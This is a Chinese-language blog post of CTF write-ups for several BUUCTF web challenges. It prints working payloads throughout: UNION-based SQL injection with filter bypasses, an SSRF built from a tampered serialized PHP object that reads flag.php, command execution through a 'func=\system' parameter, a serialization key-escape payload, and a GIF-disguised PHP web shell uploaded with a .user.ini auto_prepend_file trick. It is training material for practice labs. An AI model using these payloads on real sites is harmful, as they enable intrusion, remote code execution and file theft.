3web wp

尤飞尘
2023-12-01

BUUCTF [网鼎杯 2018]Fakebook 1

一.进入后,按人家网页,先注册个账号,再进入主页,发现url上有注入点no,而且试一下,是一个非常常规的注入

1.先order by ,可以发现有4列

2.接着  no=-1 union/**/select 1,2,3,4#过滤了(union select)用/**/代替空格    发现回显位为2,而且有反序列函数unserialize()

3.接着爆表名 no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()     为users

4.接着爆列名 no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

为no,username,passwd,data

5.接着爆字段 no=-1%20union/**/select%201,group_concat(no,"-",username,"-",passwd,"-",data),3,4%20from%20users       得到1-123-3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2-O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:18;s:4:"blog";s:70:"http://96d41384-2675-4a80-acfa-92d39fcbb471.node4.buuoj.cn:81/join.php";}

二.事先对目录扫描 可直接扫出来robots.txt和flag.php

进入robots.txt,发现user.php.bak   进入后,下载得到

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

其中,下面这部分可能存在ssrf

function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

三.在自己的主页界面,查看源代码,可以发现data字段存在漏洞

从上面我们爆出的data

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:18;s:4:"blog";s:70:"http://96d41384-2675-4a80-acfa-92d39fcbb471.node4.buuoj.cn:81/join.php";}

可以知道,这是序列化后的字符串,就是注册时,我们的信息被序列化,回显到页面时,信息又会被反序列化为我们的信息,所以我们可以把data改成flag.php,构成ssrf

修改流中的blog部分,改为s:29:"file:///var/www/html/flag.php"

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造playload,1,2,3,4挨个试

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

最后试出来为4,进入页面后可以查看源代码

src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NWJkMTM5Zi1mYzIzLTQwZDQtOGNkZS1jNjljNTViZWYyOWZ9IjsNCmV4aXQoMCk7DQo='>

对这部分中的base64码解密

得到flag

<?php

$flag = "flag{85bd139f-fc23-40d4-8cde-c69c55bef29f}";
exit(0);

[网鼎杯 2020 朱雀组]phpweb 1

1.源码中没找到什么东西,抓包尝试,发现最下面有个函数,和执行内容。可以实验一下,

func=md5&p=123,结果验证成功

2.输入func=system&p=ls,结果失败了,应该是被过滤了

3.输入输入func=\system&p=ls,成功绕过,但没找到flag

4.用查找命令 输入func=\system&p=find / -name flag*  发现/tmp/flagoefiu4r93

5.获取flag   输入func=\system&p=cat /tmp/flagoefiu4r93  得到flag

[安洵杯 2019]easy_serialize_php 1

1.


$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

implode() 函数返回一个由数组元素组合成的字符串
preg_replace 函数将敏感字符(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’)替换成 空格

2.

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

extract() 函数将_SESSION的两个函数变为post传参
当以get方法传入img_path的情况下,$_SESSION['img']为传入的img_path进行base64加密和sha1加密
3.

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

当function的值等于show_image的时候 将_SESSION序列化且过滤,将值赋给$serialize_info,然后将值赋给$userinfo['img']指向的文件(base64解密后)最后将会高亮userinfo

而且注释给了提示 使url中f=phpinfo 可在新页面中发现flag文件的名字是d0g3_f1ag.php

4.利用键值逃逸

playload

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

flag和php是敏感字符,在使用的时候被过滤掉了,但序列化记录的字符串长度没有过滤掉,所以在序列化的时候
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被当作了原来的value
在 echo file_get_contents(base64_decode($userinfo['img']));实现了读取flag的,目的
实现了逃逸
将/d0g3_fllllllag进行base64编码后上传,可获得 flag

将如下post提交

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}    得到flag

[b01lers2020]Life on Mars

1.发现抓包找到了参数,查看网页上多个分页面,转换多个参数发现注入点

/query?search=hesperia_planum union select database(),group_concat(schema_name) from information_schema.schemata

查到库名aliens、alien_code

/query?search=hesperia_planum union select database(),group_concat(table_name) from information_schema.tables where table_schema="alien_code"

查到表名code

/query?search=hesperia_planum union select database(),group_concat(column_name) from information_schema.columns where table_name="code"

查到列名id、code

得到flag:flag{f44edbeb-fa11-4d6a-9fc3-a7bc682b311c}

[SUCTF 2019]CheckIn1()

一.

这题依旧不是自己做出来的,难过的是没做出来,值得高兴的是掌握了新姿势

进入页面叫你上传文件,肯定就是文件上传漏洞,所以我就开始逐个试

1. 发现.htaccess文件传不了

2. 含有 <? 的文件传不了

首先先解决第一个问题:

一.如果.htaccess文件传不了以我现有的知识只有两个方法:

1.传输.jpg文件,但是内容只含有一句话木马,可以直接连接菜刀

2.依靠CGI解析漏洞,简单来说就是原来访问1.jpg是图片,但是访问1.jpg/.php就是php文件了

但是现有知识解决不了,于是有一个新的姿势:

那就是.user.ini文件(这也是一种配置文件)

这个文件有什么用呢,就是把你指定的文件当作php执行
二.

<?文件 不能传

试试这样 写一句话木马:

<script language='php'>eval($_REQUEST[8]);</script>

三.

这是.user.ini的文件内容:

GIF89a
auto_prepend_file=shell.jpg(你传入的木马图片的名称)

这是shell.jpg的内容:

GIF89a
<script language='php'>eval($_REQUEST[8]);</script>

四.

分别上传两个文件,最后拿菜刀连接,可得到flag

 类似资料:

相关阅读

相关文章

相关问答